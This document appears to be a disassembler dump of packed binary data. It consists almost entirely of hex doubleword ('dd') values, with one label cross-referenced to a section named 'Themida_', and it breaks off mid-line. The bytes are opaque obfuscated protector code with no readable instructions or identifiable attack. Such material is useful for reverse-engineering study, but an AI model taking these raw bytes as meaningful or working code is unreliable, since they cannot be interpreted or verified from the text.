0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 0D7816674h, 0B5FF4B5Eh, 648AD77h, 0BFDBB66h, 73595FFh dd 6A0645h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 0BD8383C3h, 645301Dh, 62840F02h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 0BFBAC351h, 2F51858Bh, 10E90645h, 0C7000000h dd 601D8558h, 0AE83AE9Ch, 0BBD29258h, 0C61AEFE4h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 7AB77EC3h, 8BC01BF0h, 453041BDh, 0A985C706h, 64530h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 0E22C357h, 9589376Fh, 64522A1h dd 0FFF308E9h, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 5BB02BB6h, 0C1F3AB69h dd 5ED9D8Bh, 0C18B0645h, 0F88B6650h, 99858D5Fh, 6A06450Dh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 40A3C355h, 11E8h, 782AC600h, 982E301Ah, 0D7838DADh dd 23877BDAh, 0BF66766Ch, 905F9D25h, 6820F60h, 50000000h dd 5A310F52h, 0B7506158h, 6A904Dh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1D0424h, 51410000h, 514DE3C3h, 0B1F030DCh dd 6A24DB26h, 7E900h, 8B00000h, 10966097h, 6A006ADEh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 34F3C357h, 0CF81663Bh, 858DB129h, 649EA28h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 85C35343h, 67AB1D3Eh dd 9529F55Fh, 6450029h, 6605C083h, 635ADB81h, 0A35BD89h dd 89500645h, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 0A6CE15C3h, 0E84DD8h, 6A006Ah, 18F1B589h dd 95FF0645h, 6451749h, 68E0Fh, 9D230000h, 6453291h, 9D998D8Dh dd 6A0648h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 0D1FFB8C3h, 0D5DB529h, 0BD830645h, 6450025h dd 6C850F01h, 89000000h, 452BD995h, 6A026A06h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 0B2A0C353h, 0DBB70FDDh, 1C5B589h, 89500645h, 6A2404h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 0CBB5E5C3h, 0DF8562EBh, 0FFD89F0Bh, 45259195h, 9E906h dd 36920000h, 603FA6FFh, 0E94696EEh, 0DEDh, 0E8h, 0ED815D00h dd 649EA32h, 918D0B60h, 0F064524h, 0E89h, 9E900h, 0F1180000h dd 0EB9A6C27h, 61B05A33h, 8F6D858Dh, 0E7810648h, 62A1466Fh dd 0BFEDBF50h, 4896819h, 51006A24h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 0D0C351CAh, 66569E5Fh dd 0F95BDF8Bh, 35FF64h, 60000000h, 2411B589h, 0F18B0645h dd 25896461h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 56C35242h dd 98930779h, 0D1CB8166h, 0B985FF8Eh, 6A064532h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 4807C355h, 51B5CB7Fh, 0F3816614h, 0FF6A9173h, 32ADBD01h dd 0B5FF0645h, 64511C5h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 49C35242h, 172CFAE2h, 95298B67h, 645088Dh dd 2CE995FFh, 0E8E90645h, 0F000000h, 0B0DABFh, 70E6DA8Bh dd 0E4D88B66h, 8830F71h, 0F000000h, 28Dh, 3CFE8B00h, 0C4830F61h dd 0F000000h, 0BF0FC8B6h, 6BAFBh, 0BD8B0000h, 6453291h dd 0C18BD98Ah, 959D8952h, 5B064501h, 8904E8C1h, 45093D85h dd 0A5B58906h, 66064506h, 14E9E2F7h, 0BA000000h, 4FE3BBAFh dd 989116E1h, 229C34B6h, 93060D19h, 2BD03369h, 0DAB70FC8h dd 0BD8BD18Bh, 6452BC1h, 6AE9h, 68F0F00h, 89000000h, 45200995h dd 44858B06h, 2B5F4C4Ch, 4524259Dh, 7C08306h, 0C083F5h dd 0D03BDF8Bh, 11830Fh, 9D890000h, 6452439h, 36E9h, 11B58900h dd 8B06450Dh, 0FFFFFF8Dh, 1E183FFh, 21840Fh, 8B660000h dd 0FFA583F8h, 0FEFFFFFFh, 5959D8Bh, 0BD2B0645h, 64516E9h dd 4C449589h, 0E95F4Ch, 8D000000h, 4968AAB5h, 9B58906h dd 6A064506h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 6E9352Fh, 0FF000000h, 0EB02EB2Bh dd 2195FFFBh, 0E9064531h, 14h, 20B69C08h, 1728D4D4h, 51973F73h dd 89E31D86h, 0F652A5D0h, 1029B9h, 0E183F800h, 51006AFCh dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 66498DC3h, 0FC9567BBh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 96C35242h, 0F58A71E7h, 0B8h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 0B697AE08h, 30F5D0F9h, 858934F3h, 6450725h, 6AD22Bh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 6F7895C3h, 0BB484CF1h, 52055674h, 0D1C233ADh, 83D003E8h dd 0F47504E9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 5CC35040h, 0C8BCBF64h, 85896C12h, 6453341h, 880Dh dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 3603DDF4h, 0BD8BC62Eh, 64522E9h, 2A01958Bh dd 9D8B0645h, 64510C5h, 3D58D8Bh, 8B500645h, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 6AEFB7h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0C9E4CDC3h dd 0E1C10FCBh, 0E9452290h, 11h, 0A5F6020Ch, 7F3D1F8h, 0A7CDA63Dh dd 335250A9h, 15BD8313h, 64502h, 85840Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 10CB5CC3h, 9D8B5BBDh, 64504F1h, 0B8h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 661CD9E6h, 1C8D8D67h, 6A06454Eh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 6FB6C350h dd 830F26AFh, 6, 2F1DBD8Bh, 0E1FF0645h, 499B589h, 83F90645h dd 45095DBDh, 840F0006h, 469h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 0FCC35646h, 53A458C0h, 813C87EEh dd 0EEACA0C7h, 5DBD837Eh, 1064509h, 44E840Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 60C0BEC3h, 0D51B533h, 83610645h, 45095DBDh, 860F0306h dd 3E6h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 9CC35343h, 644A4E7Eh, 81DF8160h, 664A8262h, 0F781D98Ch dd 3D4176A3h, 305DBD8Bh, 0E1800645h, 50006A04h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 0B7547Bh, 0B785CA53h dd 0EE8h, 351FF500h, 9915E92Bh, 0A29160C8h, 5602F00Bh dd 0BDF6D4BBh, 0A5B5F11h, 5A840FC9h, 6A000001h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 0A7CBC355h, 651C4647h, 9A99589h, 858B0645h, 6450589h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 26C35343h dd 0BE8h, 72CB3600h, 0CDB45C3Fh, 4CEEF6BDh, 0BD8B5FF8h dd 64509F1h, 2758533h, 6A0645h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 150424h, 56460000h, 506143C3h, 489FE8Bh dd 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 6BAE54A4h, 285D9D8Bh, 6A0645h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0CFC35040h, 0D2AF9BA7h dd 0F986F5F6h, 0EB43BB80h, 0B168570Fh, 8B8AADDBh, 240481DFh dd 7571284Eh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 1FC35141h, 2EAD95FFh, 0EB810645h, 5F51C420h, 0AD778589h dd 0B5090648h, 6452861h, 1DAE9h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0E583FB08h dd 312E3BCBh, 6810FABh, 29000000h, 4532D595h, 2860F06h dd 8A000000h, 6F858BD9h, 6A0648ADh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 3AC6C352h dd 66C93282h, 82FEF81h, 1BB3ADB7h, 1800C7h, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 53A533C3h, 212DEE99h, 0B58B9AD1h, 648AD73h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0A7C35343h, 0F5733EEh dd 0F5BFBBFh, 8Ah, 0C1858B00h, 0F064503h, 689F9B7h, 4F18589h dd 858B0645h, 6450589h, 0C182C0BFh, 14E93Bh, 0DBC60000h dd 6BBD6084h, 0C841575Eh, 0AB815138h, 45839B0Bh, 4689FA0Dh dd 0B59D8B04h, 50064522h, 0DF2EB860h, 8B0F7A55h, 2, 8961FD8Ah dd 9D092434h, 6452A4Dh, 0AD6FB5FFh, 6A0648h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 0BE97CC3h dd 28000000h, 0B4BD2B19h, 8ED918ACh, 7768A44Ah, 0E84E130Dh dd 12h, 58810C51h, 4229782Fh, 1BCF9F18h, 0C72675C1h, 815BF40Dh dd 0E882434h, 41BF4E0Ch, 8D1E2BF7h, 48AD7785h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 2F1BEDDEh, 0E9510E65h, 13h, 39A5B141h, 0C76CE2D3h, 3BDCE2A3h dd 0EA2305E9h, 5F861CF9h, 2850F90h, 8A000000h, 0BB6650FAh dd 0F906D4Dh, 689h, 319D8900h, 0FF064524h, 452EAD95h, 0C5B58906h dd 61064510h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 9C35545h, 0C7940A66h, 45095D85h, 306h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 0ECD01A98h dd 0B3DC9A5Fh, 66F88B66h, 0BD83DF8Bh, 648AD77h, 0B840F00h dd 8B000000h, 4509719Dh, 1BE906h, 30500000h, 4400110Ch dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 50006AC0h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 118BD202h, 8BF8E689h, 6890FD9h, 8B000000h, 4505C1BDh dd 0BD83F806h, 645095Dh, 6B850F03h, 8B000004h, 4501099Dh dd 77BD8306h, 648ADh, 458840Fh, 9D8B0000h, 64529C1h, 0AD77B5FFh dd 66600648h, 0DB9BEF81h, 11B9858Bh, 0FF610645h, 4510C995h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 7B132679h, 8680BB3Eh, 5F53639Eh, 0AD6BB58Bh dd 0BFB30648h, 106C7h, 11E90001h, 2000000h, 30F3D66h, 2DC09768h dd 775196D3h, 252DEA8Fh, 0B337BF96h, 57501D25h, 820F50h dd 5F000000h, 6A965Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 0FC9CFC3h, 688h, 0A9850100h, 0FF06451Ch dd 48AD77B5h, 0A1BD2B06h, 0FF064523h, 45095195h, 0E9BD0306h dd 29064512h, 451881B5h, 6BB58B06h, 6A0648ADh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 126BC357h, 0BB662A64h, 858B4486h, 64514EDh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0B2C35040h, 0E09DB51h dd 86890CC4h, 0C4h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 0FEC35040h, 0F5209D5Ah, 124DB509h, 958B0645h dd 6452A01h, 83D8BF0Fh, 6A04C2h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 0BFC105C3h, 6DAB73E3h dd 830F57B5h, 3, 5FDBBF0Fh, 6A205089h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 9C97C350h dd 10848B37h, 858DF99Ch, 648C156h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 34C35545h, 0FE295C82h, 49A9DE07h dd 2F1DBD8Bh, 86890645h, 0B8h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 0BBC35343h, 0C0868A5Bh, 0D11EA202h dd 619D89F9h, 8B064504h, 4514959Dh, 8B006A06h, 452961BDh dd 77B5FF06h, 290648ADh, 45086595h, 0FA8B6606h, 259195FFh dd 6A0645h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 0BD9FC3h, 0F8C2D319h, 24348950h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0A8C35141h, 0B5016B2Dh dd 6451099h, 0AD77B5FFh, 95890648h, 645232Dh, 207D95FFh dd 31510645h, 45202195h, 60605B06h, 1905BD89h, 958B0645h dd 6450D65h, 0B70F5761h, 836158D0h, 451955BDh, 840F0006h dd 61h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah dd 33C35141h, 0B30C7B29h, 0CB814CFBh, 2D4155AFh, 8A505B57h dd 243489DDh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 0C3C35646h, 812417h, 0BF66B93Dh, 0B5895EC0h, 6452451h dd 85D78166h, 77B5FF26h, 6A0648ADh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0F443C353h dd 0C93F053Dh, 0B602BB8Ch, 95FF014Ch, 6452F2Dh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 17C35545h, 0E3816682h dd 9D8BEB9Eh, 64514C9h, 0AD77B5FFh, 6A0648h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 8B2203C3h dd 452FFD9Dh, 8B0F06h, 0FF000000h, 45073595h, 0A9B52906h dd 0F064507h, 0B84h, 5860F00h, 0BB000000h, 5D52CBA3h, 301DBD83h dd 0F020645h, 7384h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 0D0EE3279h, 0BC59D89h dd 8B600645h, 4514A9BDh, 5860F06h, 0B9000000h, 45E20518h dd 858BF561h, 6452F51h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 98C35141h, 9FE34B3Ch, 81FA6720h, 3D64F1E7h dd 0CB816614h, 0C61C28h, 0FE8B6600h, 30A985C7h, 645h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 2FE91EC3h, 6AFFFFF3h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 9479C353h, 1FB37044h dd 9E9h, 0A14D3300h, 0B7C260C3h, 0C18BB52Eh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0DDC35545h, 99858D62h dd 9006450Dh, 665073B7h, 6690DF8Bh, 87EEDF81h, 8B0F006Ah dd 10h, 0BE9h, 7F37F000h, 52800720h, 0D5784BC3h, 16D9D8Bh dd 6A0645h, 26C34DBBh, 0A6858D3Dh, 810649F9h, 0EA9AA6DFh dd 5C08307h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 0ACC35141h, 8B507DF0h, 240489FBh, 24618589h, 6A0645h dd 1FB9BD89h, 0D7800645h, 6A006A4Ah, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 0A698C350h dd 5BC4BBF2h, 5FF95160h, 0EDBD8Bh, 0FF610645h, 45174995h dd 0D1958906h, 8D064529h, 489D998Dh, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 0E0AA49B4h dd 9BBF6672h, 6AD1FF25h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 0E963C357h, 83BF7ABDh dd 833C71D5h, 450025BDh, 850F0106h, 79h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Dh, 9C35343h, 0C671EB10h dd 539A84C5h, 0ADBD3184h, 6A064508h, 0B7EB8102h, 505549CEh dd 0DE9h, 22024000h, 0F24E564Fh, 11C5D593h, 489DDE3h, 0B5852924h dd 0FF064515h, 45259195h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 99D0B55h, 451E318Dh dd 0C63E906h db 2 dup(0) word_58D91E dw 0E8h ; DATA XREF: Themida_:005403D4o dd 5D000000h, 0F9B0ED81h, 0BD890649h, 645316Dh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 5EC35646h, 0CCA0DC21h dd 0DC2E6C1Bh, 0AB97BF87h, 8A0F576Ah, 5, 0E7E38166h, 6D858D27h dd 6A06488Fh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 897FC357h, 4503B1BDh, 0BF665006h dd 489CB6Fh, 0B5895224h, 6452629h, 35FF645Fh, 0 dd 2CF59589h, 89640645h, 25h, 0B1BD8900h, 0FF06452Ch, 4532B985h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 0BCC2AF0Bh, 8C0F7384h, 5, 0E28BF1BFh, 6AFF6A56h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 5061C350h, 9A3A6EDAh, 22EDB5FFh, 6A0645h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 64126BC3h, 0C19D8B2Ah, 0FF064517h, 452CE995h, 127E906h dd 0BD8B0000h, 645213Dh, 2915B589h, 0B00645h, 28E59589h dd 70E60645h, 11E9h, 11EB7000h, 9B26F169h, 0AF8FE2DCh dd 0B16C3446h, 71E4006Ah, 4202BB66h, 830F613Ch, 0EDh, 0CE9h dd 0FC628000h, 9B62998Fh, 0BFB39098h, 0C8B60FE5h, 1F458529h dd 6BA0645h, 66000000h, 8B2E20BFh, 4E8C1C1h, 109D8589h dd 0F7660645h, 0C82BF9E2h, 14810Fh, 0FE90000h, 0C0000000h dd 2052B746h, 63BA2B90h, 0E529954Eh, 0D18B1949h, 14E9h dd 0DA1E3D00h, 0A27FA9ECh, 3862A4F9h, 3EAA478Bh, 4AAB5AD4h dd 7FE9DFh, 0BB660000h, 0AE9867Eh, 0B0000000h, 0A5CC6A15h dd 0E9396BD6h, 50858B3Bh, 0BB47554Ch, 729D1F03h, 0F07C083h dd 68Dh, 19D8B00h, 83064520h, 810F00C0h, 6, 4145D381h dd 0D03B43CAh, 10830Fh, 9D8B0000h, 645008Dh, 30E9h, 0C399BB00h dd 8D8B7D3Dh, 0FFFFFFFFh, 83D9B70Fh, 840F01E1h, 19h, 7B98D89h dd 0A5830645h, 0FFFFFFFFh, 509589FEh, 0FC47554Ch, 0E9h dd 0D3B58D00h, 0BB064978h, 44F38E1Eh, 0FCF5006Ah, 312195FFh dd 6A0645h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 8B61D5C3h, 450ACD9Dh, 0FF7B906h, 8B660000h dd 0FCE183DEh, 19198589h, 60FC0645h, 68A0Fh, 800F0000h dd 0 dd 0E8C02B61h, 12h, 28549ED1h, 0C9428097h, 0C64572A9h dd 60FB0751h, 0D7819D8Ah, 78B5D492h, 0BA5Fh, 89F80000h dd 45147D85h, 0C233AD06h, 0D003E8D1h, 7504E983h, 55006AF4h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 2AFB8101h, 0A3A67B5Bh, 0CE87233h, 0FB000000h, 0E2F6D930h dd 0EA853F71h, 0FE6A3EBh, 68Eh, 59BD3100h, 5B06452Fh, 52BAEF81h dd 880D481Fh, 0E9000000h, 0Fh, 3332BCD0h, 330CFB73h, 9B592125h dd 8BDFF329h, 452A0195h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 0FAC19E3h, 6053D498h dd 27EBCE81h, 9D2967D7h, 6451721h, 8D8B5B61h, 64503D5h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0AEC35747h dd 4D20C59Ah, 999D8BC0h, 8B06450Bh, 451C799Dh, 0C28B5006h dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 6A3C356h, 5840Fh, 81660000h, 83B934D7h, 450215BDh, 840F0006h dd 4Ch, 31798D89h, 0DB810645h, 4ED151D0h, 0B8h, 0A989BB00h dd 8D8D387Dh, 6454E1Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 90C35545h, 58B0FAAh, 0BF000000h, 223244Ah dd 0BD8BE1FFh, 6452481h, 95DBD83h, 0F000645h, 3AF84h, 0BD83FC00h dd 645095Dh, 0BC840F01h, 6A000003h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0A4ECC352h dd 0DD9D39F7h, 0C50400F2h, 0C589BB66h, 38D0Fh, 0B70F0000h dd 5DBD83DFh, 3064509h, 347860Fh, 9D8B0000h, 64505C9h dd 60CDC380h, 12E9h, 6D13C000h, 0A7212B4Dh, 94D76D4Dh dd 0FE7CE4EAh, 66BA0BFCh, 9E9D98Ch, 0AF000000h, 4BB1CF15h dd 25EDD846h, 8904E180h, 4500558Dh, 0FC90A06h, 10584h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 6D8AD068h, 25C5615Eh, 0A4FEBFC3h, 3B337FEh dd 589858Bh, 6A0645h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 939FCCC3h, 0BAB06490h, 0EE98E3Ah dd 10000000h, 11C3201Bh, 20103851h, 30B83FAEh, 758533FCh dd 0F064502h, 0E990FABFh, 6, 18C82192h, 6050EC05h, 3810Fh dd 8B660000h, 6A9061CEh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 0CE0BC355h, 0EE1CA13Ch dd 8BC7859Ah, 45308D9Dh, 0B99D0906h, 6A064504h, 0FB8B6600h dd 6C463968h, 0F5250D9h, 283h, 0F616000h, 5810F31h, 0BB000000h dd 7A70364Ah, 481585Ah, 0B2BDC624h, 81BD0126h, 0FF064510h dd 452EAD95h, 77858906h, 8B0648ADh, 451945BDh, 1A9E906h dd 0BB660000h, 858B5F41h, 648AD6Fh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 0B9C35141h, 28F4F0CDh, 12E9A737h dd 13000000h, 2717EC28h, 0F8B42962h, 0D3B952A6h, 0F9005D62h dd 0F1BD8B2Ah, 0C706452Ch, 1800h, 0AE800h, 7C3D0000h, 143A2881h dd 83A89E7Dh, 5BDAB70Fh, 0AD73B58Bh, 81660648h, 8B25DCC3h dd 4503C185h, 298D8906h, 8906450Bh, 68E0F06h, 89000000h dd 452B5DB5h, 89858B06h, 31064505h, 45243585h, 38C0F06h dd 66000000h, 4689F98Bh, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 0B94945B7h, 0EE9h, 2D838300h dd 5A0556A4h, 8061B3D2h, 29A3752Ch, 45155185h, 0FE89606h dd 0DD000000h, 0B9A40EA9h, 985A8B6Dh, 41560839h, 0BB6635D9h dd 505BFD6Bh, 53006A96h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 578DB984h, 0FF4E6EE6h, 48AD6FB5h dd 0E5BD8B06h, 68064511h, 0FB4A6658h, 7E8h, 320E0F00h dd 0B8B8F71Dh, 2404815Bh, 4D49DA7h, 0AE8h, 168A4B00h, 6055D774h dd 898A9BA4h, 4524F1B5h, 858D5B06h, 648AD77h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0E7C35242h, 0BF0FF3CFh dd 7E850DEh, 0B8000000h, 5E76FB2Dh, 7E82EF4h, 3A000000h dd 6E6FF76h, 0BB66EFE6h, 5F5B7ABEh, 0B3240489h, 0A19D8B9Ah dd 0FF064509h, 452EAD95h, 61D88B06h, 6890Fh, 0F3810000h dd 3EC7C6A6h, 95D85C7h, 30645h, 9D8B0000h, 6450991h, 0AD77BD83h dd 0F000648h, 3084h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 0BF73E43Fh, 33E69CCEh dd 23E9h, 0B5895600h, 64525E5h, 0C30505Bh, 11440011h, 10E8C101h dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0CEBF0F60h, 9C6849B8h, 0F381611Ch dd 5CB35C0h, 2DF1BB66h, 95DBD83h, 0F030645h, 3C085h, 77BD8300h dd 648ADh, 3B3840Fh, 0B5890000h, 6451F69h, 0AD77B5FFh dd 66FC0648h, 95FFF98Bh, 64510C9h, 4DBD8Bh, 0B58B0645h dd 648AD6Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 0CFC35343h, 0A9A5A197h, 0BAD331A6h, 106C77Bh, 6A000100h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 0ADA7C352h, 0B8606050h, 6DA28869h, 0FE861h dd 62100000h, 0CC75476Ch, 0EC54725Eh, 0BCF7B1A3h, 8E24BB6Bh dd 615B65C5h, 6A243489h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 98E5C352h, 0A6DDA9AAh dd 0FF8D73EDh, 48AD77B5h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 662E96C6h dd 897851D1h, 451161BDh, 5195FF06h, 66064509h, 0ACDCB81h dd 0AD6BB58Bh, 0C7800648h, 0ED858BF9h, 31064514h, 4502E19Dh dd 0C4868906h, 81000000h, 0E515C0D7h, 1958B07h, 6A06452Ah dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 2F5BC356h, 51BDE525h, 2AF1BD8Bh, 835F0645h dd 6A04C2h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 9C6712C3h, 77DB67E7h, 89512F69h, 451849BDh dd 50895B06h, 0F1BD0B20h, 8D064510h, 48C15685h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 0EB0C53C2h, 51E7B61Dh, 11E9B6h, 90B60000h, 0F29EC761h dd 27A3FA43h, 0E300A77Eh, 0F433302h, 8A50F9B7h, 86895BDEh dd 0B8h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 0DC35040h, 0A970BA46h, 0E9006ADBh, 11h, 0A093EF93h dd 2298ED1Dh, 0B1ED0C7Dh, 85CE3219h, 77B5FFF3h, 6A0648ADh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 527C352h, 79BD8B91h, 0F9064525h, 259195FFh dd 850F0645h, 0 dd 0E9605096h, 11h, 0CC2F8C8Dh, 4CFF5C78h, 6422E99Eh, 0AD636F7Ah dd 61C88A76h, 88A0F96h, 0F000000h, 280h, 0FFC0B700h, 48AD77B5h dd 0AE906h, 2A980000h, 0B4FD50DAh, 8739316Ch, 207D95FFh dd 0EE90645h, 0C000000h, 17EBDEF9h, 56912C5Ch, 0C2AAE3E8h dd 55BD8329h, 64519h, 2D840Fh, 0BD2B0000h, 6452235h, 0F2BD2BBFh dd 0BF569613h, 187E2D4Dh, 0AE9505Fh, 0EC000000h, 37D659F2h dd 4A696895h, 850F9625h, 3, 0FFDA8B66h, 48AD77B5h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 